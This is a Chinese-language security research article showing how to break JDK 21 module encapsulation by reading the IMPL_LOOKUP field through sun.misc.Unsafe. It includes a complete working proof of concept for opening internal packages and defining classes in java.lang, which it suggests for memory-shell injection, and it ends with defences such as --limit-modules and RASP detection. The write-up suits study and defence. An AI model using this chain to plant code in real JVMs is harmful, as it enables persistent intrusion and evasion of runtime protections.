0x00 问题的起点

任何试图通过 Field.setAccessible(true) 或 Method.setAccessible(true) 访问 java.base 模块内部类的代码,运行时立刻抛出 InaccessibleObjectException。大量安全工具、序列化框架、Agent 注入链因此断裂。

TestEncapsulation.java

import java.lang.reflect.Field;

public class TestEncapsulation {
    public static void main(String[] args) {
        try {
            System.out.println("--- 尝试利用反射打破 JDK 21 强封装 ---");
            
            // 1. 获取 java.base 模块内部的私有静态字段 IMPL_LOOKUP
            Field f = Class.forName("java.lang.invoke.MethodHandles$Lookup")
                           .getDeclaredField("IMPL_LOOKUP");
            
            System.out.println("成功获取到 Field 对象: " + f);

            // 2. 尝试破解访问限制(在 JDK 17+ 默认会被强封装拦截)
            System.out.println("执行 f.setAccessible(true)...");
            f.setAccessible(true); 

            System.out.println("【验证失败】竟然成功打破了强封装?!");
        } catch (Exception e) {
            System.out.println("\n【验证成功】触发预期异常:");
            e.printStackTrace();
        }
    }
}

直接抛出 InaccessibleObjectException

模块系统的访问检查发生在 AccessibleObject.checkCanSetAccessible() 方法内。该方法检查目标成员所在包是否对调用者模块 open。java.base 模块的 java.lang.invoke 包既没有 export 给未命名模块的深度反射权限,更没有 opens,这条路被堵死。

但 JDK 自身内部仍然需要跨模块的深度访问能力。这个能力被封装在一个特殊对象里——MethodHandles.Lookup 类的静态字段 IMPL_LOOKUP。拿到它,等价于拿到 JVM 内部的万能钥匙。

0x01 实验环境

组件

版本 / 配置

操作系统

Kali Linux 2026.1 (kernel 6.x)

JDK

OpenJDK 21.0.x (build 21.0.x+xx)

编译/运行

javac + java

第三方依赖

无

环境搭建步骤

确认版本

 java -version 
 javac -version

确认模块系统可用

 java --list-modules | head -5

验证模块封装生效

TestEncapsulation.java

import java.lang.reflect.Field;
 
 public class TestEncapsulation {
     public static void main(String[] args) throws Exception {
         // 尝试通过反射访问 java.base 内部字段
         Field f = Class.forName("java.lang.invoke.MethodHandles$Lookup")
             .getDeclaredField("IMPL_LOOKUP");
         System.out.println("[*] Field 对象获取成功: " + f);
         System.out.println("[*] Field 类型: " + f.getType());
         System.out.println("[*] Field 修饰符: " + f.getModifiers());
 
         // 这一步将失败
         System.out.println("[*] 尝试 setAccessible(true)...");
         f.setAccessible(true);
         System.out.println(f.get(null));
     }
 }

编译运行

javac TestEncapsulation.java
 java TestEncapsulation

Field 修饰符: 24。24 = 0x18 = Modifier.STATIC (0x08) | Modifier.FINAL (0x10),说明 IMPL_LOOKUP 是一个 static final 字段。这是一个包级私有(package-private)的静态常量——它没有 public/private/protected 修饰符(第 0~2 位均为 0)。

包级私有的可见性恰好说明它只打算在 java.lang.invoke 包内部使用。

0x02 模块系统访问控制分析

理解绕过前,必须搞清楚检查逻辑。

当调用 setAccessible(true) 时,调用栈进入 java.lang.reflect.AccessibleObject 的以下方法:

核心判断在 declaringModule.isOpen(pn, callerModule)。java.base 模块的 module-info.java 里,java.lang.invoke 包只有 exports(编译期可见),没有 opens(运行期深度反射不可用)。因此该检查必定返回 false。

调用栈追踪验证

可以通过抛出异常时的堆栈确认整个调用链路:

 java TestEncapsulation 2>&1 | grep "at " | head -10

exports 与 opens 的本质区别

指令

编译期

运行期反射

setAccessible

exports pkg

public 类型可见

public 成员可反射

非 public 成员不可 setAccessible

opens pkg

不影响

所有成员可反射

所有成员可 setAccessible

未声明

完全不可见

完全不可反射

完全不可 setAccessible

java.base 的 java.lang.invoke 包属于 exports 状态——公有类 MethodHandles、MethodHandle 等可以正常使用,但内部字段和非公有方法通过反射无法触及。

验证包的 exports/opens 状态

CheckModuleState.java

 public class CheckModuleState {
     public static void main(String[] args) {
         Module javaBase = Object.class.getModule();
         Module myModule = CheckModuleState.class.getModule();
 
         String[] packages = {
             "java.lang",
             "java.lang.invoke",
             "jdk.internal.misc",
             "jdk.internal.access"
         };
 
         System.out.println("当前模块: " + myModule);
         System.out.println("目标模块: " + javaBase);
         System.out.println();
 
         for (String pkg : packages) {
             boolean exported = javaBase.isExported(pkg, myModule);
             boolean opened = javaBase.isOpen(pkg, myModule);
             System.out.printf("%-25s  exported=%-5s  opened=%-5s%n",
                 pkg, exported, opened);
         }
     }
 }

编译运行

 javac CheckModuleState.java && java CheckModuleState

​java.lang.invoke 包是 exported 但不 opened——公有 API 可用,内部字段(如 IMPL_LOOKUP)不可通过反射触及。jdk.internal.misc 更为严格,连 export 都没有。

Class.getDeclaredField() 本身不受 opens 限制。你可以拿到 Field 对象(元数据),只是无法调用 setAccessible(true) 来读写它的值。这个差异是整条利用链的突破口之一。

0x03 MethodHandles.Lookup 的信任体系

MethodHandles.Lookup 是 JDK 方法句柄机制的访问控制核心。每个 Lookup 实例携带两个关键属性:lookupClass(视角类)和 allowedModes(访问模式位掩码)。JVM 根据这两个属性决定该 Lookup 能访问哪些成员。

访问模式位定义

以下常量定义在 MethodHandles.Lookup 内部:

各模式位的二进制对照:

常量

十六进制

二进制

含义

PUBLIC

0x01

0000001

可访问 public 成员

PRIVATE

0x02

0000010

可访问 private 成员

PROTECTED

0x04

0000100

可访问 protected 成员

PACKAGE

0x08

0001000

可访问包级成员

MODULE

0x10

0010000

可访问模块内成员

UNCONDITIONAL

0x20

0100000

无条件公有访问

ORIGINAL

0x40

1000000

原始访问

TRUSTED

0xFFFFFFFF

全部置1

完全可信

TRUSTED = -1 在补码表示下即 0xFFFFFFFF,所有模式位全部置 1。持有 TRUSTED 模式的 Lookup 可以访问任意模块、任意包、任意访问级别的成员。

IMPL_LOOKUP 的定义

三个参数:

  • lookupClass = Object.class(位于 java.lang 包,java.base 模块);
  • previousLookupClass = null;
  • allowedModes = TRUSTED。

它以 java.base 模块的视角持有完全信任的访问权限。在代码中通过 MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP") 获取其 Field 元数据。

权限检查流程

当调用 Lookup.findVirtual()、findStatic()、findGetter() 等方法时,内部执行 checkAccess():

IMPL_LOOKUP 的 allowedModes = -1 使得所有访问检查短路。拿到这个对象,就拿到了 JVM 内部的超级权限。

验证普通 Lookup 的权限限制

TestLookupModes.java

 import java.lang.invoke.*;
 
 public class TestLookupModes {
     public static void main(String[] args) throws Exception {
         // 获取当前类的 Lookup
         MethodHandles.Lookup myLookup = MethodHandles.lookup();
         System.out.println("当前 Lookup: " + myLookup);
         System.out.println("lookupClass: " + myLookup.lookupClass());
         System.out.println("lookupModes: 0x" +
             Integer.toHexString(myLookup.lookupModes()));
         System.out.println();
 
         // 尝试用普通 Lookup 访问内部 API
         try {
             Class<?> internalUnsafe = Class.forName("jdk.internal.misc.Unsafe");
             myLookup.findStatic(internalUnsafe, "getUnsafe",
                 MethodType.methodType(internalUnsafe));
             System.out.println("[+] 访问成功(不应到达此处)");
         } catch (IllegalAccessException e) {
             System.out.println("[-] 普通 Lookup 无法访问内部 API:");
             System.out.println("    " + e.getMessage());
         }
 
         // publicLookup 的权限更低
         MethodHandles.Lookup pubLookup = MethodHandles.publicLookup();
         System.out.println();
         System.out.println("publicLookup: " + pubLookup);
         System.out.println("lookupModes: 0x" +
             Integer.toHexString(pubLookup.lookupModes()));
     }
 }

编译运行

 javac TestLookupModes.java && java TestLookupModes

在 JDK 21 环境下,普通 Lookup(0x5f) 哪怕在本地模块内权限全满,也因为缺失 0x20 权限而无法染指核心内部 API;而 publicLookup(0x20) 步子迈得大却毫无深层访问权。

0x04 获取 sun.misc.Unsafe 实例

整条利用链的入口是 sun.misc.Unsafe。

jdk.unsupported 模块的 module-info

OpenJDK 21 的 jdk.unsupported 模块定义:

opens sun.misc 意味着任何模块(包括未命名模块,即 classpath 代码)都可以对 sun.misc 包内的类执行 setAccessible(true)。JDK 保留这个口子的原因是大量生态框架(Netty、Gson、Kryo 等)依赖 sun.misc.Unsafe,贸然关闭会引发大面积兼容性灾难。

验证 jdk.unsupported 的开放状态

CheckUnsupportedModule.java

 public class CheckUnsupportedModule {
     public static void main(String[] args) throws Exception {
         // 查找 jdk.unsupported 模块
         Module unsupportedModule = ModuleLayer.boot().findModule("jdk.unsupported")
             .orElseThrow(() -> new RuntimeException("jdk.unsupported 模块不存在"));
         Module myModule = CheckUnsupportedModule.class.getModule();
 
         System.out.println("jdk.unsupported 模块: " + unsupportedModule);
         System.out.println("当前模块: " + myModule);
         System.out.println();
 
         // 检查 sun.misc 包的状态
         System.out.println("sun.misc exported: " +
             unsupportedModule.isExported("sun.misc", myModule));
         System.out.println("sun.misc opened:   " +
             unsupportedModule.isOpen("sun.misc", myModule));
         System.out.println();
 
         // 对比 java.base 的 java.lang.invoke
         Module javaBase = Object.class.getModule();
         System.out.println("java.lang.invoke exported: " +
             javaBase.isExported("java.lang.invoke", myModule));
         System.out.println("java.lang.invoke opened:   " +
             javaBase.isOpen("java.lang.invoke", myModule));
     }
 }

编译运行

 javac CheckUnsupportedModule.java && java CheckUnsupportedModule

获取 Unsafe 实例

GetUnsafe.java

 import sun.misc.Unsafe;
 import java.lang.reflect.Field;
 
 public class GetUnsafe {
     public static void main(String[] args) throws Exception {
         // 获取 theUnsafe 字段
         Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
         System.out.println("[*] theUnsafe 字段: " + theUnsafeField);
         System.out.println("[*] 字段所在模块: " +
             Unsafe.class.getModule());
 
         // setAccessible - 因为 jdk.unsupported opens sun.misc,所以允许
         theUnsafeField.setAccessible(true);
         System.out.println("[+] setAccessible(true) 成功");
 
         // 读取字段值
         Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
         System.out.println("[+] Unsafe 实例: " + unsafe);
         System.out.println("[+] Unsafe 类名: " + unsafe.getClass().getName());
 
         // 验证 Unsafe 的关键方法可用
         System.out.println("[*] addressSize: " + unsafe.addressSize());
         System.out.println("[*] pageSize: " + unsafe.pageSize());
     }
 }

GetUnsafe.java使用了内部专用 API (sun.misc.Unsafe)。

javac GetUnsafe.java 2>&1

编译成功,仅有警告

 java GetUnsafe

sun.misc.Unsafe 与 jdk.internal.misc.Unsafe 的关系

类

所属模块

exports

opens

可直接反射获取

sun.misc.Unsafe

jdk.unsupported

是

是

可以

jdk.internal.misc.Unsafe

java.base

仅对特定模块

否

不可以

sun.misc.Unsafe 本质上是 jdk.internal.misc.Unsafe 的委托包装。我们需要的关键方法——staticFieldOffset() 和 getObject()——在 sun.misc.Unsafe 上同样可用,足以完成后续操作。

0x05 从 Unsafe 到 IMPL_LOOKUP

这是整条链中最关键的一步。

​Unsafe.getObject() 直接从对象的内存布局中读取字段值,完全绕过 java.lang.reflect 的访问检查和模块系统的 opens 验证。

原理拆解

JVM 中的静态字段存储在类的元数据区域(Klass 结构的 mirror 对象上)。Unsafe.staticFieldOffset(Field) 返回该字段在对应 Class 对象上的内存偏移量,Unsafe.getObject(Class, offset) 直接从该偏移量读取引用值。这两个操作发生在 JVM native 层,不经过任何 Java 层面的访问控制。

HotSpot 中 Unsafe.getObject 的 native 实现:

// src/hotspot/share/prims/unsafe.cpp
 UNSAFE_ENTRY(jobject, Unsafe_GetObject(JNIEnv* env, jobject unsafe,
                                        jobject obj, jlong offset)) {
   oop p = JNIHandles::resolve(obj);
   assert_field_offset_sane(p, offset);
   oop v = HeapAccess<>::oop_load_at(p, offset);  // 直接内存读取
   return JNIHandles::make_local(THREAD, v);
 } UNSAFE_END

HeapAccess::oop_load_at 是裸内存读取,不涉及任何 Java 访问控制逻辑。这是绕过的根本原因——模块系统的检查运作在 Java 反射框架层面,而 Unsafe 在 JVM native 层面操作内存,两者不在同一个抽象层级。

为什么 getDeclaredField 不抛异常

Class.getDeclaredField(String name) 的实现(OpenJDK 21):

// src/java.base/share/classes/java/lang/Class.java
 @CallerSensitive
 public Field getDeclaredField(String name) throws NoSuchFieldException {
     Objects.requireNonNull(name);
     SecurityManager sm = System.getSecurityManager();
     if (sm != null) {
         checkMemberAccess(sm, Member.DECLARED, ...);
     }
     Field field = searchFields(privateGetDeclaredFields(false), name);
     if (field == null) throw new NoSuchFieldException(name);
     return getReflectionFactory().copyField(field);
 }

JDK 21 中 SecurityManager 已被标记为 deprecated for removal(JEP 411),默认未安装,sm 为 null。方法直接返回 Field 对象的副本,不检查模块边界。我们可以拿到 IMPL_LOOKUP 字段的元数据(名称、类型、偏移量),只是不能通过 Field.get() 读取值——但 Unsafe 直接从内存读,不需要 Field.get()。

实现代码

LookupEscalation.java

 import sun.misc.Unsafe;
 import java.lang.invoke.MethodHandles;
 import java.lang.reflect.Field;
 
 public class LookupEscalation {
     public static MethodHandles.Lookup getImplLookup() throws Exception {
         // Step 1: 获取 Unsafe 实例
         Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
         theUnsafeField.setAccessible(true);
         Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
 
         // Step 2: 获取 IMPL_LOOKUP 字段的 Field 对象
         // getDeclaredField 不受 opens 限制,只获取元数据
         Field implLookupField = MethodHandles.Lookup.class
             .getDeclaredField("IMPL_LOOKUP");
 
         // Step 3: 通过 Unsafe 获取静态字段偏移量
         long offset = unsafe.staticFieldOffset(implLookupField);
 
         // Step 4: 直接从内存读取 IMPL_LOOKUP 的值
         MethodHandles.Lookup implLookup = (MethodHandles.Lookup)
             unsafe.getObject(MethodHandles.Lookup.class, offset);
 
         return implLookup;
     }
 
     public static void main(String[] args) throws Exception {
         MethodHandles.Lookup implLookup = getImplLookup();
         System.out.println("[+] IMPL_LOOKUP: " + implLookup);
         System.out.println("[+] lookupModes: 0x" +
             Integer.toHexString(implLookup.lookupModes()));
     }
 }

编译运行

 javac LookupEscalation.java && java LookupEscalation

lookupModes() 方法内部会将 allowedModes 与 ALL_MODES(0x7F) 做 AND 运算再返回,因此 TRUSTED 模式的 -1 & 0x7F = 0x7F。toString() 显示 java.lang.Object/noaccess 是因为 Lookup.toString() 对 TRUSTED 模式做了特殊处理,不暴露实际权限。

0x06 利用 IMPL_LOOKUP 突破模块边界

拿到 IMPL_LOOKUP 后可以做什么?

场景一:动态打开任意模块包

java.lang.Module 类有一个非公有方法 implAddOpens(String pn, Module other),可以在运行时将指定包对目标模块开放深度反射。正常代码无法调用它,但 IMPL_LOOKUP 不受此限制。

ModuleBreaker.java

 import sun.misc.Unsafe;
 import java.lang.invoke.*;
 import java.lang.reflect.Field;
 
 public class ModuleBreaker {
     public static void main(String[] args) throws Throwable {
         // 获取 IMPL_LOOKUP(复用前文的方法)
         Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
         theUnsafeField.setAccessible(true);
         Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
 
         Field implField = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
         long offset = unsafe.staticFieldOffset(implField);
         MethodHandles.Lookup implLookup = (MethodHandles.Lookup)
             unsafe.getObject(MethodHandles.Lookup.class, offset);
 
         // 打开前:验证 jdk.internal.misc 不可反射
         Module javaBase = Object.class.getModule();
         Module myModule = ModuleBreaker.class.getModule();
         System.out.println("[*] 打开前 jdk.internal.misc opened: " +
             javaBase.isOpen("jdk.internal.misc", myModule));
 
         // 调用 Module.implAddOpens
         MethodHandle implAddOpens = implLookup.findVirtual(
             Module.class,
             "implAddOpens",
             MethodType.methodType(void.class, String.class, Module.class)
         );
         implAddOpens.invoke(javaBase, "jdk.internal.misc", myModule);
 
         // 打开后验证
         System.out.println("[+] 打开后 jdk.internal.misc opened: " +
             javaBase.isOpen("jdk.internal.misc", myModule));
 
         // 现在可以用传统反射访问 jdk.internal.misc.Unsafe
         Class<?> internalUnsafe = Class.forName("jdk.internal.misc.Unsafe");
         java.lang.reflect.Method getUnsafe =
             internalUnsafe.getDeclaredMethod("getUnsafe");
         getUnsafe.setAccessible(true);  // 不再抛异常
         Object theInternalUnsafe = getUnsafe.invoke(null);
         System.out.println("[+] jdk.internal.misc.Unsafe: " + theInternalUnsafe);
     }
 }

编译运行

 javac ModuleBreaker.java && java ModuleBreaker

变化: opened: false → opened: true 。

场景二:直接通过 IMPL_LOOKUP 访问内部 API

IMPL_LOOKUP 本身就拥有完全信任权限,可以直接通过 findStatic / findVirtual 获取任意内部方法的 MethodHandle,不需要先打开模块:

// 直接获取 jdk.internal.misc.Unsafe.getUnsafe() 的 MethodHandle
 Class<?> internalUnsafeClass = Class.forName("jdk.internal.misc.Unsafe");
 MethodHandle mh = implLookup.findStatic(
     internalUnsafeClass,
     "getUnsafe",
     MethodType.methodType(internalUnsafeClass)
 );
 Object internalUnsafe = mh.invoke();

场景一的价值在于"打开后可以用传统反射",适合需要批量操作的情况。场景二更轻量,适合精确调用某个特定方法。

场景三:运行时字节码注入

通过 IMPL_LOOKUP 调用 MethodHandles.Lookup.defineClass(byte[]),可以在任意包内定义新类:

// 构造一个以 java.lang.Thread 为 lookupClass 的 Lookup
 MethodHandle privateLookupCtor = implLookup.findConstructor(
     MethodHandles.Lookup.class,
     MethodType.methodType(void.class,
         Class.class, Class.class, int.class)
 );
 MethodHandles.Lookup threadLookup = (MethodHandles.Lookup)
     privateLookupCtor.invoke(Thread.class, null, -1);
 
 // 用该 Lookup 在 java.lang 包内定义一个新类
 byte[] classBytes = generateClassBytes(); // 自定义字节码
 Class<?> injected = threadLookup.defineClass(classBytes);

在 java.base 模块的包内定义类需要字节码的包名与 lookupClass 一致。defineClass 内部会检查 classBytes 中定义的类的包名是否与 Lookup 的 lookupClass 所在包匹配。字节码生成可用 ASM 库或手工构造。

三种场景的对比

场景

操作方式

效果范围

适用情况

打开模块包

Module.implAddOpens

当前 JVM 生命周期内,所有反射调用可用

需要对目标包做大量反射操作

直接 MethodHandle

implLookup.findXxx

单次方法调用

精确调用某个内部方法

字节码注入

Lookup.defineClass

在目标包内植入持久化类

内存马注入、Agent 逻辑植入

0x07 完整 POC

ModuleBypass.java

 import sun.misc.Unsafe;
 import java.lang.invoke.MethodHandle;
 import java.lang.invoke.MethodHandles;
 import java.lang.invoke.MethodType;
 import java.lang.reflect.Field;
 
 public class ModuleBypass {
 
     public static void main(String[] args) {
         try {
             System.out.println("[*] JDK version: " +
                 System.getProperty("java.version"));
             System.out.println("[*] Module system active: " +
                 ModuleBypass.class.getModule());
             System.out.println();
 
             // ========== Phase 1: 获取 sun.misc.Unsafe ==========
             System.out.println("[Phase 1] 获取 sun.misc.Unsafe 实例");
             Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
             theUnsafeField.setAccessible(true);
             Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
             System.out.println("    [+] Unsafe 实例: " +
                 unsafe.getClass().getName());
 
             // ========== Phase 2: 获取 IMPL_LOOKUP ==========
             System.out.println("[Phase 2] 通过 Unsafe 内存直读获取 IMPL_LOOKUP");
             Field implField = MethodHandles.Lookup.class
                 .getDeclaredField("IMPL_LOOKUP");
             long offset = unsafe.staticFieldOffset(implField);
             System.out.println("    [+] IMPL_LOOKUP 字段偏移量: " + offset);
 
             MethodHandles.Lookup implLookup = (MethodHandles.Lookup)
                 unsafe.getObject(MethodHandles.Lookup.class, offset);
             System.out.println("    [+] IMPL_LOOKUP: " + implLookup);
             System.out.println("    [+] lookupModes: 0x" +
                 Integer.toHexString(implLookup.lookupModes()));
             // lookupModes() 对外返回 allowedModes & ALL_MODES
             // TRUSTED(-1) & 0x7F = 0x7F,包含全部标准模式位
 
             // ========== Phase 3: 验证 - 访问 java.base 内部 API ==========
             System.out.println("[Phase 3] 利用 IMPL_LOOKUP 访问 java.base 内部 API");
 
             // 3a: 直接获取 jdk.internal.misc.Unsafe
             Class<?> internalUnsafeClass = Class.forName(
                 "jdk.internal.misc.Unsafe");
             MethodHandle getInternalUnsafe = implLookup.findStatic(
                 internalUnsafeClass,
                 "getUnsafe",
                 MethodType.methodType(internalUnsafeClass)
             );
             Object internalUnsafe = getInternalUnsafe.invoke();
             System.out.println("    [+] jdk.internal.misc.Unsafe: " +
                 internalUnsafe.getClass().getName());
 
             // 3b: 动态打开 java.base 的 java.lang.invoke 包
             Module javaBase = Object.class.getModule();
             Module myModule = ModuleBypass.class.getModule();
 
             System.out.println("    [*] 打开前 java.lang.invoke opened: " +
                 javaBase.isOpen("java.lang.invoke", myModule));
 
             MethodHandle implAddOpens = implLookup.findVirtual(
                 Module.class,
                 "implAddOpens",
                 MethodType.methodType(void.class,
                     String.class, Module.class)
             );
             implAddOpens.invoke(javaBase, "java.lang.invoke", myModule);
             System.out.println("    [+] 打开后 java.lang.invoke opened: " +
                 javaBase.isOpen("java.lang.invoke", myModule));
 
             // 3c: 验证打开效果 - 现在可以用传统反射访问 IMPL_LOOKUP
             Field verifyField = MethodHandles.Lookup.class
                 .getDeclaredField("IMPL_LOOKUP");
             verifyField.setAccessible(true); // 不再抛异常
             Object verified = verifyField.get(null);
             System.out.println("    [+] 传统反射验证成功: " + verified);
 
             // ========== Phase 4: 深度访问验证 ==========
             System.out.println("[Phase 4] 深度访问验证 - 读取 VM 内部状态");
 
             // 获取 SharedSecrets,这是 java.base 内部的工具类
             Class<?> sharedSecrets = Class.forName(
                 "jdk.internal.access.SharedSecrets");
             MethodHandle getJavaLangAccess = implLookup.findStatic(
                 sharedSecrets,
                 "getJavaLangAccess",
                 MethodType.methodType(
                     Class.forName("jdk.internal.access.JavaLangAccess"))
             );
             Object jla = getJavaLangAccess.invoke();
             System.out.println("    [+] JavaLangAccess: " +
                 jla.getClass().getName());
 
             System.out.println();
             System.out.println("[*] 利用链执行完毕,模块封装已完全突破");
 
         } catch (Throwable e) {
             System.err.println("[-] 执行失败: " + e);
             e.printStackTrace();
         }
     }
 }

编译运行

 javac ModuleBypass.java
  java ModuleBypass

输出

  • Phase 1 的 Unsafe 实例: sun.misc.Unsafe — 确认 Unsafe 获取成功
  • Phase 2 的 lookupModes: 0x7f — 确认拿到的是 TRUSTED 级别的 Lookup
  • Phase 3 的 opened: false → opened: true — 确认模块包被动态打开
  • Phase 4 的 JavaLangAccess: java.lang.System$2 — 确认可访问深层内部 API

0x08 完整攻击链路图

0x09 防御与缓解

JVM 层面

1. 使用 --limit-modules 排除 jdk.unsupported

 java --limit-modules java.base,java.logging,java.sql -jar app.jar

如果应用不依赖 sun.misc.Unsafe(或可以替换为 java.lang.invoke.VarHandle),直接排除 jdk.unsupported 模块。此时 Unsafe.class 不可加载,利用链在第一步就断裂。

排除效果:

java --limit-modules java.base ModuleBypass

2. 自定义 SecurityManager(JDK 21 仍可用,仅是 deprecated for removal)

// 限制 setAccessible 调用
 System.setSecurityManager(new SecurityManager() {
     @Override
     public void checkPermission(java.security.Permission perm) {
         if (perm instanceof java.lang.reflect.ReflectPermission
             && "suppressAccessChecks".equals(perm.getName())) {
             // 检查调用栈,限制非信任代码
             throw new SecurityException("blocked setAccessible");
         }
     }
 });

SecurityManager 在 JDK 17 被标记为 deprecated for removal(JEP 411),JDK 21 中仍然可用但会打印警告。

3. 关注 JDK 路线图中的 Unsafe 替代

JDK 正在推进 sun.misc.Unsafe 的废弃计划(JEP 471),逐步用 VarHandle 和 Foreign Function & Memory API 替代其功能。当 jdk.unsupported 模块最终被移除,这条利用链的入口将被关闭。

应用层面

4. RASP 检测

监控以下行为组合作为告警指标:

  • 对 sun.misc.Unsafe.theUnsafe 字段的反射访问
  • Unsafe.staticFieldOffset() 的调用目标指向 java.lang.invoke 包内的字段
  • Module.implAddOpens() 的 MethodHandle 调用

5. Java Agent 监控

通过 Instrumentation API 对 sun.misc.Unsafe.getObject() 做字节码插桩,记录所有对 MethodHandles.Lookup.class 的内存读取操作。

0x0A 模块访问控制流程

0x0B 回顾

模块系统的访问控制运作在 Java 语言层面。它检查的是"谁在调用 setAccessible"、"目标包是否 opens"。但 sun.misc.Unsafe 提供的是 JVM 层面的原始内存操作能力,根本不经过 Java 的访问控制框架。

这构成了一个设计上的矛盾:JDK 需要 Unsafe 来支撑自身的高性能实现(CAS 操作、内存屏障、直接内存分配),同时又把它放在一个对外开放的模块里以维持生态兼容。jdk.unsupported 模块的 opens sun.misc 声明,等于在模块系统的围墙上留了一扇门,钥匙发给了所有 classpath 代码。

这不是一个可以通过简单补丁修复的问题。它反映的是安全边界抽象层级的错位——模块系统在 Java 语言层做访问控制,Unsafe 在 native 层提供内存操作,高层控制无法约束低层能力。JDK 的长期解决方案是彻底移除 sun.misc.Unsafe 的外部可见性(JEP 471),但这需要整个 Java 生态完成迁移,过渡期以年为单位。

在这个窗口期内,任何获得 JVM 内代码执行能力的攻击者,都可以通过本文描述的利用链完全瓦解模块封装。防御者需要在 RASP 和运行时监控层面建立检测能力,而不是仅依赖模块系统的静态声明。

本文仅用于安全研究与技术交流,请勿用于未授权的渗透测试